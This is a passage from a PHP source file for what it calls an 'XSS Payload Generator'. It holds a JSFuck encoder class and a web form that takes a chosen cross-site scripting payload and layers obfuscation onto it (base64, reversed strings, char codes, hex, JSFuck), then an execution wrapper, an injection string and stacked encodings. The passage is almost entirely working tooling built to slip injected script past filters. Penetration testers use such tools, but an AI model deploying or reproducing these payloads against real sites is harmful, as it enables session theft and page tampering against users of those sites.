 550 |           '@' => JSFuck::USE_CHAR_CODE,
 551 |           '[' => '([]["entries"]()+"")[0]',
 552 |           '\\' => JSFuck::USE_CHAR_CODE,
 553 |           ']' => '([]["entries"]()+"")[22]',
 554 |           '^' => JSFuck::USE_CHAR_CODE,
 555 |           '_' => JSFuck::USE_CHAR_CODE,
 556 |           '`' => JSFuck::USE_CHAR_CODE,
 557 |           '{' => '(true+[]["fill"])[20]',
 558 |           '|' => JSFuck::USE_CHAR_CODE,
 559 |           '}' => '([]["fill"]+"")["slice"]("-1")',
 560 |           '~' => JSFuck::USE_CHAR_CODE,
 561 |       ];
 562 | 
 563 |       private const GLOBAL = 'Function("return this")()';
 564 | 
 565 |       public function __construct(string $compilePath = "jsfuck.data") {
 566 |           if(file_exists($compilePath)) {
 567 |               $data = file_get_contents("jsfuck.data");
 568 |               $this->_MAPPING = unserialize($data);
 569 |           }
 570 |           else {
 571 |               $this->FillMissingChars();
 572 |               $this->FillMissingDigits();
 573 |               $this->ReplaceMap();
 574 |               $this->ReplaceStrings();
 575 | 
 576 |               $data = serialize($this->_MAPPING);
 577 |               file_put_contents("jsfuck.data", $data);
 578 |           }
 579 |       }
 580 | 
 581 |       public function Encode(string $input, bool $wrapWithEval = false, bool $runInParentScope = false) : string {
 582 |           $output = [];
 583 |           
 584 |           $r = "";
 585 |           foreach(JSFuck::SIMPLE as $i => $val) {
 586 |               $r .= "$i|";
 587 |           }
 588 |           $r .= ".";
 589 | 
 590 |           if(preg_match_all("/$r/", $input, $matches)) {
 591 |               foreach($matches[0] as $find) {
 592 |                   if(key_exists($find, JSFuck::SIMPLE)) {
 593 |                       $output[] = "[".JSFuck::SIMPLE[$find]."]+[]";
 594 |                   }
 595 |                   else if(key_exists($find, $this->_MAPPING)) {
 596 |                       $output[] = $this->_MAPPING[$find];
 597 |                   }
 598 |                   else {
 599 |                       $replacement = "([]+[])[".$this->Encode("constructor")."][".$this->Encode("fromCharCode")."](".$this->Encode((string) ord($find)).")";
 600 |                       $output[] = $replacement;
 601 |                       $this->_MAPPING[$find] = $replacement;
 602 |                   }
 603 |               }
 604 |           }
 605 | 
 606 |           $output = join("+", $output);
 607 | 
 608 |           if(preg_match("/^\d$/", $input)) {
 609 |               $output .= "+[]";
 610 |           }
 611 | 
 612 |           if($wrapWithEval) {
 613 |               if($runInParentScope) {
 614 |                   $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."](".$this->Encode("return eval").")()($output)";
 615 |               }
 616 |               else {
 617 |                   $output = "[][".$this->Encode("fill")."][".$this->Encode("constructor")."]($output)()";
 618 |               }
 619 |           }
 620 | 
 621 |           return $output;
 622 |       }
 623 | 
 624 |       private function FillMissingChars() {
 625 |           foreach($this->_MAPPING as $key => $value) {
 626 |               if($value === JSFuck::USE_CHAR_CODE) {
 627 |                   $charCode = ord($key);
 628 |                   $charCodeHex = dechex($charCode);
 629 |                   $replace = preg_replace('/(\d+)/', '+($1)+"', $charCodeHex);
 630 |                   $this->_MAPPING[$key] = 'Function("return unescape")()("%"'.$replace.'")';
 631 |               }
 632 |           }
 633 |       }
 634 | 
 635 |       private function FillMissingDigits() {
 636 |           for($number = 0; $number < 10; $number++) {
 637 |               $output = "+[]";
 638 | 
 639 |               if($number > 0) {
 640 |                   $output = "+!$output";
 641 |               }
 642 | 
 643 |               for($i = 1; $i < $number; $i++) {
 644 |                   $output = "+!+[]$output";
 645 |               }
 646 | 
 647 |               if($number > 1) {
 648 |                   $output = substr($output, 1);
 649 |               }
 650 | 
 651 |               $this->_MAPPING[$number] = "[$output]";
 652 |           }
 653 |       }
 654 | 
 655 |       private function ReplaceMap() {
 656 |           for($i = JSFuck::MIN; $i <= JSFuck::MAX; $i++) {
 657 |               $char = chr($i);
 658 |               $value = $this->_MAPPING[$char];
 659 | 
 660 |               if(empty($value)) {
 661 |                   continue;
 662 |               }
 663 | 
 664 |               foreach(JSFuck::CONSTRUCTORS as $key => $val) {
 665 |                   $value = preg_replace("/\b$key/", $val.'["constructor"]', $value);
 666 |               }
 667 | 
 668 |               foreach(JSFuck::SIMPLE as $key => $val) {
 669 |                   $value = preg_replace("/$key/", $val, $value);
 670 |               }
 671 | 
 672 |               $value = $this->NumberReplacer($value, "/(\d\d+)/i");
 673 |               $value = $this->DigitReplacer($value, "/\((\d)\)/i");
 674 |               $value = $this->DigitReplacer($value, "/\[(\d)\]/i");
 675 | 
 676 |               $value = preg_replace("/GLOBAL/", JSFuck::GLOBAL, $value);
 677 |               $value = preg_replace("/\+\"\"/", "+[]", $value);
 678 |               $value = preg_replace("/\"\"/", "[]+[]", $value);
 679 | 
 680 |               $this->_MAPPING[$char] = $value;
 681 |           }
 682 |       }
 683 | 
 684 |       private function ReplaceStrings() {
 685 |           foreach($this->_MAPPING as $key => $value) {
 686 |               $this->_MAPPING[$key] = $this->MappingReplacer((string) $value, "/\"([^\"]+)\"/i");
 687 |           }
 688 | 
 689 |           $count = JSFuck::MAX - JSFuck::MIN;
 690 | 
 691 |           while(true) {
 692 |               $missing = $this->FindMissing();
 693 | 
 694 |               if(count($missing) == 0) {
 695 |                   break;
 696 |               }
 697 |               
 698 |               foreach($missing as $key => $value) {
 699 |                   $value = $this->ValueReplacer($value, "/[^\[\]\(\)\!\+]{1}/", $missing);
 700 |                   $this->_MAPPING[$key] = $value;
 701 |               }
 702 |               
 703 |               if($count-- === 0) {
 704 |                   throw new Exception("Could not compile the following chars: ".json_encode($this->FindMissing()));
 705 |               }
 706 |           }
 707 |       }
 708 | 
 709 |       private function FindMissing() : array {
 710 |           $missing = [];
 711 |           foreach($this->_MAPPING as $key => $value) {
 712 |               if(preg_match("/[^\[\]\(\)\!\+]{1}/", $value)) {
 713 |                   $missing[$key] = $value;
 714 |               }
 715 |           }
 716 |           return $missing;
 717 |       }
 718 | 
 719 |       private function NumberReplacer(string $value, string $pattern) : string {
 720 |           if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
 721 |               for($i = count($matches[0]) - 1; $i >= 0; $i--) {
 722 |                   $find = $matches[0][$i][0];
 723 |                   $offs = $matches[0][$i][1];
 724 |       
 725 |                   $begin = substr($value, 0, $offs);
 726 |                   $end = substr($value, $offs + strlen($find));
 727 |       
 728 |                   $values = [];
 729 |                   for($j = 0; $j < strlen($find); $j++) {
 730 |                       $values[$j] = $find[$j];
 731 |                   }
 732 |       
 733 |                   $head = (int) array_shift($values);
 734 |                   $output = "+[]";
 735 |       
 736 |                   if($head > 0) {
 737 |                       $output = "+!$output";
 738 |                   }
 739 |       
 740 |                   for($j = 1; $j < $head; $j++) {
 741 |                       $output = "+!+[]$output";
 742 |                   }
 743 |       
 744 |                   if($head > 1) {
 745 |                       $output = substr($output, 1);
 746 |                   }
 747 |       
 748 |                   $merged = array_merge([$output], $values);
 749 |                   $joined = join("+", $merged);
 750 |                   
 751 |                   $value = $begin.$this->DigitReplacer($joined, "/(\d)/").$end;
 752 |               }
 753 |           }
 754 | 
 755 |           return $value;
 756 |       }
 757 | 
 758 |       private function DigitReplacer(string $value, string $pattern) : string {
 759 |           if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
 760 |               for($i = count($matches[1]) - 1; $i >= 0; $i--) {
 761 |                   $find = $matches[1][$i][0];
 762 |                   $offs = $matches[1][$i][1];
 763 |       
 764 |                   $begin = substr($value, 0, $offs);
 765 |                   $end = substr($value, $offs + strlen($find));
 766 |       
 767 |                   $value = $begin.$this->_MAPPING[$find].$end;
 768 |               }
 769 |           }
 770 | 
 771 |           return $value;
 772 |       }
 773 | 
 774 |       private function MappingReplacer(string $value, string $pattern) : string {
 775 |           if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
 776 |               for($i = count($matches[1]) - 1; $i >= 0; $i--) {
 777 |                   $find = $matches[1][$i][0];
 778 |                   $offs = $matches[1][$i][1];
 779 |       
 780 |                   $begin = substr($value, 0, $offs - 1);
 781 |                   $end = substr($value, $offs + strlen($find) + 1);
 782 |       
 783 |                   $values = [];
 784 |                   for($j = 0; $j < strlen($find); $j++) {
 785 |                       $values[$j] = $find[$j];
 786 |                   }
 787 | 
 788 |                   $value = $begin.join("+", $values).$end;
 789 |               }
 790 |           }
 791 | 
 792 |           return $value;
 793 |       }
 794 | 
 795 |       private function ValueReplacer(string $value, string $pattern, array $missing) : string {
 796 |           if(preg_match_all($pattern, $value, $matches, PREG_OFFSET_CAPTURE)) {
 797 |               for($i = count($matches[0]) - 1; $i >= 0; $i--) {
 798 |                   $find = $matches[0][$i][0];
 799 |                   $offs = $matches[0][$i][1];
 800 |       
 801 |                   $begin = substr($value, 0, $offs);
 802 |                   $end = substr($value, $offs + strlen($find));
 803 | 
 804 |                   if(!key_exists($find, $missing)) {
 805 |                       $value = $begin.$this->_MAPPING[$find].$end;
 806 |                   }
 807 |                   else {
 808 |                       $value = $value;
 809 |                   }
 810 |               }
 811 |           }
 812 | 
 813 |           return $value;
 814 |       }
 815 | 
 816 |   }
 817 | 
 818 | 
 819 |   // Logic for generating a payload
 820 |   function generatePayload( $form ){
 821 |     global $aPayloads, $aObfuscation, $aExecution, $aInjections, $aEncoding;
 822 |     $required = ['payloadid','injectionid','obfuscationid','executionid','encoding_used'];
 823 |     foreach( $required as $item ){
 824 |       if( !in_array( $item, array_keys( $form ) ) ) return $item." not provided";
 825 |     }
 826 | 
 827 |     $rtn = [];
 828 |     $rtn['meta'] = [];
 829 |     if( !in_array( $form['payloadid'], array_keys( $aPayloads ) ) ) $form['payloadid'] = 0;
 830 |     $payload = $aPayloads[$form['payloadid']];
 831 |     $rtn['meta']['payload'] = $payload;
 832 | 
 833 |     // Replace values in code with form values
 834 |     $fields = explode( ",", $payload["fields"] );
 835 |     $code = $payload['code'];
 836 |     foreach( $fields as $f ){
 837 |       if( !in_array( $f, array_keys( $form ) ) ) continue;
 838 |       $code = str_replace( '{'.$f.'}', $form[$f], $code );
 839 |     }
 840 |     $rtn['payload'] = $code;
 841 | 
 842 |     // Prepare payloads
 843 |     $prep = [];
 844 |     $prep['payload'] = $code;
 845 |     $prep['payloadb64'] = base64_encode( $code );
 846 |     $prep['payloadrev'] = strrev( $code );
 847 |     $chrs = [];
 848 |     for( $i=0; $i<strlen($code); $i++ ){
 849 |       $chrs[] = ord( substr( $code, $i, 1 ) );
 850 |     }
 851 |     $prep['payloadchr'] = 'String.fromCharCode(' . implode( ',', $chrs ) . ')';
 852 |     $hex = '';
 853 |     for ($i = 0; $i < strlen($code); $i++) {
 854 |       $hex .= '\x' . str_pad(dechex(ord($code[$i])), 2, '0', STR_PAD_LEFT);
 855 |     }
 856 |     $prep['payloadhex'] = $hex;
 857 |     $jsf = new JSFuck();
 858 |     $prep['payloadjsf'] = $jsf->Encode($code);
 859 |     $rtn['prepared'] = $prep;
 860 | 
 861 |     // Obfuscate code using chosen method
 862 |     if( !in_array( $form['obfuscationid'], array_keys( $aObfuscation ) ) ) $form['obfuscationid'] = 0;
 863 |     $obfuscation = $aObfuscation[$form['obfuscationid']];
 864 |     $rtn['meta']['obfuscation'] = $obfuscation;
 865 |     $code = $obfuscation['code']; 
 866 |     foreach( $prep as $k => $v ){
 867 |       $code = str_replace( '{'.$k.'}', $v, $code );
 868 |     }
 869 |     $rtn['obfuscated'] = $code;
 870 | 
 871 |     // Add into execution method
 872 |     if( !in_array( $form['executionid'], array_keys( $aExecution ) ) ) $form['executionid'] = 0;
 873 |     $execution = $aExecution[$form['executionid']];
 874 |     $rtn['meta']['execution'] = $execution;
 875 |     $code = str_replace( '{obfuscated}', $rtn['obfuscated'], $execution['code'] );
 876 |     $rtn['execute'] = $code;
 877 | 
 878 |     // Insert into injection string
 879 |     if( !in_array( $form['injectionid'], array_keys( $aInjections ) ) ) $form['injectionid'] = 0;
 880 |     $injection = $aInjections[$form['injectionid']];
 881 |     $rtn['meta']['injection'] = $injection;
 882 |     $code = str_replace( '{payload}', $code, $injection['code'] );
 883 |    
 884 |     // Custom injection
 885 |     if( array_key_exists( 'fields', $injection ) ){
 886 |       $fields = explode( ",", $injection["fields"] );
 887 |       
 888 |       foreach( $fields as $f ){
 889 |         if( !in_array( $f, array_keys( $form ) ) ) continue;
 890 |         $code = str_replace( '{'.$f.'}', $form[$f], $code );
 891 |       }
 892 |     }
 893 | 
 894 |     // Encoding
 895 |     if( !empty($form["encoding_used"]) ){
 896 |       $encs = preg_split("/,/",$form["encoding_used"]);
 897 |       foreach( $encs as $ename ){
 898 |         foreach( $aEncoding as $e ){
 899 |           if( $e["name"] == $ename ) break;
 900 |         }
 901 |         $args = [];
 902 |         foreach( $e["args"] as $a ){
 903 |           $args[] = str_replace( "[payload]", $code, $a );
 904 |         }
 905 |         $code = call_user_func_array( $e["func"], $args );
 906 |       }
 907 |     }
 908 |     $rtn['payload'] = $code;
 909 |     $rtn['inject'] = $code;
 910 |     return $rtn;
 911 |   }
 912 | 
 913 |   // Generate the actual payload
 914 |   if( $_GET['mode'] == 'ajax' ){
 915 |     header('Content-Type: text/json');
 916 |     $rtn = generatePayload( $_GET );
 917 |     echo json_encode( $rtn );
 918 |     exit;
 919 |   }
 920 |   
 921 |   // Show form to generate a payload
 922 |   if( empty( $_GET["mode"] ) || $_GET["mode"] == "generate"){
 923 | ?>
 924 | <html>
 925 | <head>
 926 | <title>XSS Payload Generator</title>
 927 | <script>
 928 | function createPayload(){
 929 |   ids = 'payloadid,obfuscationid,executionid,injectionid,encoding_used'.split(',');
 930 |   var args = '';
 931 |   opts = [];
 932 |   for( var i=0; i<ids.length; i++ ){
 933 |     k = ids[i];
 934 |     e = document.getElementById(k);
 935 |     if( e.multiple ){
 936 |       vals = [];
 937 |       for( var j=0; j<e.options.length; j++ ){
 938 |         vals.push(e.options[j].value);
 939 |       }
 940 |       v = vals.join();
 941 |     }else{
 942 |       v = e.value;
 943 |     }
 944 |     opts[k] = v; 
 945 |     // console.log(k,v);
 946 |   }
 947 |   inp = document.getElementsByClassName('container');
 948 |   for( var i=0; i<inp.length; i++ ){
 949 |     inp[i].style.display = 'None';
 950 |   }
 951 |   switch( opts['payloadid'] ){
 952 | <?php
 953 |   foreach( $aPayloads as $id => $p ){
 954 |     echo "    case '$id':\n";
 955 |     $fields = explode( ',', $p['fields'] );
 956 |     foreach( $fields as $f ){
 957 |       echo "      f = document.getElementById('$f')\n";
 958 |       echo "      if( f.tagName == 'SELECT' ) opts['$f'] = f.options[f.selectedIndex].value;\n";
 959 |       echo "      else opts['$f'] = f.value;\n";
 960 |       echo "      e = document.getElementById('".$f."_container');\n";
 961 |       echo "      e.style.display = 'block';\n";
 962 |     }
 963 |     echo "      break;\n";
 964 |   }
 965 | ?>
 966 |   }
 967 |   switch( opts['injectionid'] ){
 968 | <?php
 969 |   foreach( $aInjections as $id => $inj ){
 970 |     if( array_key_exists( 'fields', $inj ) ){
 971 |       echo "    case '$id':\n";
 972 |       $fields = explode( ',', $inj['fields'] );
 973 |       foreach( $fields as $f ){
 974 |         echo "      f = document.getElementById('$f')\n";
 975 |         echo "      if( f.tagName == 'SELECT' ) opts['$f'] = f.options[f.selectedIndex].value;\n";
 976 |         echo "      else opts['$f'] = f.value;\n";
 977 |         echo "      e = document.getElementById('".$f."_container');\n";
 978 |         echo "      e.style.display = 'block';\n";
 979 |         echo "      console.log('show', e);\n";
 980 |       }
 981 |       echo "      break;\n";
 982 |     }
 983 |   }
 984 | ?>
 985 |   }
 986 |   url = "<?php echo $_SERVER["PHP_SELF"]; ?>?mode=ajax";
 987 |   for( var k in opts ){
 988 |     arg = "&" + k + "=" + opts[k]; 
 989 |     url = url + arg
 990 |   }
 991 |   x = new XMLHttpRequest();
 992 |   x.onreadystatechange = function(){
 993 |     if( x.readyState == 4 && x.status == 200 ){
 994 |       // console.log( x.responseText );
 995 |       data = JSON.parse( x.responseText );
 996 |       document.getElementById('output').value = data['inject'];
 997 |       document.getElementById('payload_desc').innerText = data['meta']['payload']['desc'];
 998 |       document.getElementById('injection_desc').innerText = data['meta']['injection']['desc'];
 999 |       document.getElementById('obfuscation_desc').innerText = data['meta']['obfuscation']['desc'];
1000 |       document.getElementById('execution_desc').innerText = data['meta']['execution']['desc'];
1001 |     }
1002 |   }
1003 |   x.open('GET',url);
1004 |   x.send();
1005 | }
1006 | function setUrl(){
1007 |   f = document.getElementById('filepicker');
1008 |   u = document.getElementById('url');
1009 |   u.value = f.options[f.selectedIndex].value;
1010 |   u.onchange();
1011 | }
1012 | 
1013 | function selectEncoding( opt ){
1014 |   used  = document.getElementById("encoding_used");
1015 |   o = document.createElement("option");
1016 |   o.innerText = opt.innerText;
1017 |   o.value = opt.value;
1018 |   o.ondblclick = encodingOptClick;
1019 |   used.add(o);
1020 | }
1021 | 
1022 | function encodingClick( e ){
1023 |   btn = e.target || e.srcElement;
1024 |   used  = document.getElementById("encoding_used");
1025 |   avail = document.getElementById("encoding_available");
1026 |   if( btn.classList.contains("select") ){
1027 |     for( var i=0; i<avail.selectedOptions.length; i++ ){
1028 |       selectEncoding( avail.selectedOptions[i] );
1029 |     }
1030 |   }
1031 |   if( btn.classList.contains("deselect") ){
1032 |     els = [];
1033 |     for( var i=0; i<used.selectedOptions.length; i++ ){
1034 |       els.push( used.selectedOptions[i] );
1035 |     }
1036 |     for( var i=0; i<els.length; i++ ){
1037 |       els[i].remove();
1038 |     }
1039 |   }
1040 |   createPayload();
1041 | }
1042 | 
1043 | function encodingOptClick( e ){
1044 |   console.log('click');
1045 |   opt = e.target || e.srcElement;
1046 |   lst = opt.parentElement;
1047 |   console.log(opt);
1048 |   if( lst.id == "encoding_available" ){
1049 |     o = document.createElement("option");
1050 |     o.innerText=opt.innerText;
1051 |     o.value = opt.value;
1052 |     document.getElementById("encoding_used").add(o);
1053 |   }
1054 |   if( lst.id == "encoding_used" ){
1055 |     opt.remove();
1056 |   }
1057 |   createPayload();
1058 | }
1059 | 
1060 | function initForm(){
1061 |   tags = "input,select".split(',');
1062 |   for(var j=0; j<tags.length; j++){
1063 |     opts = document.getElementsByTagName(tags[j]);
1064 |     for( var i=0; i<opts.length; i++ ){
1065 |       opts[i].onchange = createPayload;
1066 |     }
1067 |   }
1068 | 
1069 |   enc = document.getElementById("encoding");
1070 |   btns = enc.getElementsByTagName("button");
1071 |   for( var i=0; i<btns.length; i++ ){
1072 |     btns[i].onclick=encodingClick;
1073 |   }
1074 |   opts = enc.getElementsByTagName("option");
1075 |   console.log(opts);
1076 |   for( var i=0; i<opts.length; i++ ){
1077 |     opts[i].addEventListener("dblclick",encodingOptClick);
1078 |   }
1079 | 
1080 |   document.getElementById('filepicker').onchange = setUrl;
1081 |   createPayload();
1082 | }
1083 | window.onload = initForm;
1084 | </script>
1085 | <style>
1086 |   body {
1087 |     font-family: Trebuchet, sans-serif;
1088 |   }
1089 |   label {
1090 |     display: block;
1091 |     margin-top: 1em;
1092 |   }
1093 |   textarea {
1094 |     width: 50em;
1095 |     height: 15em;
1096 |   }
1097 |   select, input {
1098 |     width: 50em;
1099 |   }
1100 |   div {
1101 |     clear: left;
1102 |   }
1103 |   div.desc {
1104 |     font-size: 80%;
1105 |   }
1106 |   div.multiselect {
1107 |     width: 19em;
1108 |     float: left;
1109 |     clear: none;
1110 |     padding: 0 1em 1em 0;
1111 |   }
1112 |   div.multiselect select {
1113 |     width: 23em;
1114 |     height: 7em;
1115 |   }
1116 |   div.multiselect_buttons {
1117 |     width: 2em;
1118 |     float: left;
1119 |     clear: none;
1120 |     margin-top: 3em;
1121 |   }
1122 |   div#encoding p {
1123 |     margin-bottom: 0;
1124 |   }
1125 | </style>
1126 | </head>
1127 | <body>
1128 | <h1>XSS Payload Generator</h1>
1129 | <form>
1130 |   <div>
1131 |     <label for="payloadid">Payload</label>
1132 |     <select id="payloadid">
1133 | <?php
1134 |   foreach( $aPayloads as $id => $item ){
1135 |     echo "      <option value=\"$id\">" . $item["name"] . "</option>\n";
1136 |   }
1137 | ?>
1138 |     </select>
1139 |     <div id="payload_desc" class="desc"></div>
1140 |   </div>
1141 |   <div id="filepicker_container" class="container">
1142 |     <label for="filepicker">Built-in script</label>
1143 |     <select id="filepicker">
1144 |       <option value=""></option>
1145 | <?php
1146 |   $baseurl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://".$_SERVER['HTTP_HOST'].dirname($_SERVER['REQUEST_URI']);
1147 |   foreach( scandir('.') as $f ){
1148 |     if( !preg_match( "/\.(php|js)$/", $f ) ) continue;
1149 |     echo "      <option value=\"".$baseurl."/".$f."\">$f</option>\n";
1150 |   }
1151 | ?>
1152 |     </select>
1153 |   </div>
1154 |   <div id="url_container" class="container">
1155 |     <label for="url">URL:</label>
1156 |     <input type="text" id="url"/>
1157 |   </div>
1158 |   <div id="js_container" class="container">
1159 |     <label for="js">Custom Payload:</label>
1160 |     <input type="text" id="js" value="alert('I only write lame PoCs')"/>
1161 |   </div>
1162 |   <div>
1163 |     <label for="obfuscationid">Obfuscation</label>
1164 |     <select id="obfuscationid">
1165 | <?php
1166 |   foreach( $aObfuscation as $id => $item ){
1167 |     echo "      <option value=\"$id\">" . $item["name"] . "</option>\n";
1168 |   }
1169 | ?>
1170 |     </select>
1171 |     <div id="obfuscation_desc" class="desc"></div>
1172 |   </div>
1173 |   <div>
1174 |     <label for="executionid">Execution</label>
1175 |     <select id="executionid">
1176 | <?php
1177 |   foreach( $aExecution as $id => $item ){
1178 |     echo "      <option value=\"$id\">" . $item["name"] . "</option>\n";
1179 |   }
1180 | ?>
1181 |     </select>
1182 |     <div id="execution_desc" class="desc"></div>
1183 |   </div>
1184 |   <div>
1185 |     <label for="injectionid">Injection type</label>
1186 |     <select id="injectionid">
1187 | <?php
1188 |   foreach( $aInjections as $id => $item ){
1189 |     echo "      <option value=\"$id\">" . $item["name"] . "</option>\n";
1190 |   }
1191 | ?>
1192 |     </select>
1193 |     <div id="injection_desc" class="desc"></div>
1194 |   </div>
1195 |   <div class="container" id="element_container">
1196 |     <label for="element">HTML Element</label>
1197 |     <select id="element">
1198 | <?php
1199 |   foreach( $aElements as $el ){
1200 |     echo "      <option value=\"$el\">" . $el. "</option>\n";
1201 |   }
1202 | ?>
1203 |     </select>
1204 |     <div id="element_desc" class="desc"></div>
1205 |   </div>
1206 |   <div class="container" id="event_container">
1207 |     <label for="event">HTML Event</label>
1208 |     <select id="event">
1209 | <?php
1210 |   foreach( $aEvents as $ev ){
1211 |     echo "      <option value=\"$ev\">" . $ev . "</option>\n";
1212 |   }
1213 | ?>
1214 |     </select>
1215 |     <div id="event_desc" class="desc"></div>
1216 |   </div>
1217 |   <div id="encoding">
1218 |     <p>Encoding</p>
1219 |     <div class="list_available multiselect">
1220 |       <label for="encoding_available">Available</label>
1221 |       <select id="encoding_available" multiple>
1222 | <?php
1223 |   foreach( $aEncoding as $id => $item ){
1224 |     echo "        <option value=\"".$item["name"]."\" title=\"".htmlentities($item["desc"])."\">".$item["name"]."</option>\n";
1225 |   }
1226 | ?>
1227 |       </select>
1228 |     </div>
1229 |     <div class="multiselect_buttons">
1230 |       <button type="button" class="select">&raquo;</button>
1231 |       <button type="button" class="deselect">&laquo;</button>
1232 |     </div>
1233 |     <div class="list_used multiselect">
1234 |       <label for="encoding_used">Using</label>
1235 |       <select id="encoding_used" multiple>
1236 |       </select>
1237 |     </div>
1238 |   </div>
1239 |   <div>
1240 |     <label for="output">Output</label>
1241 |     <textarea id="output"></textarea>
1242 |   </div>
1243 | </form>
1244 | 
1245 | <?php
1246 |   }
1247 | ?>
1248 | 


--------------------------------------------------------------------------------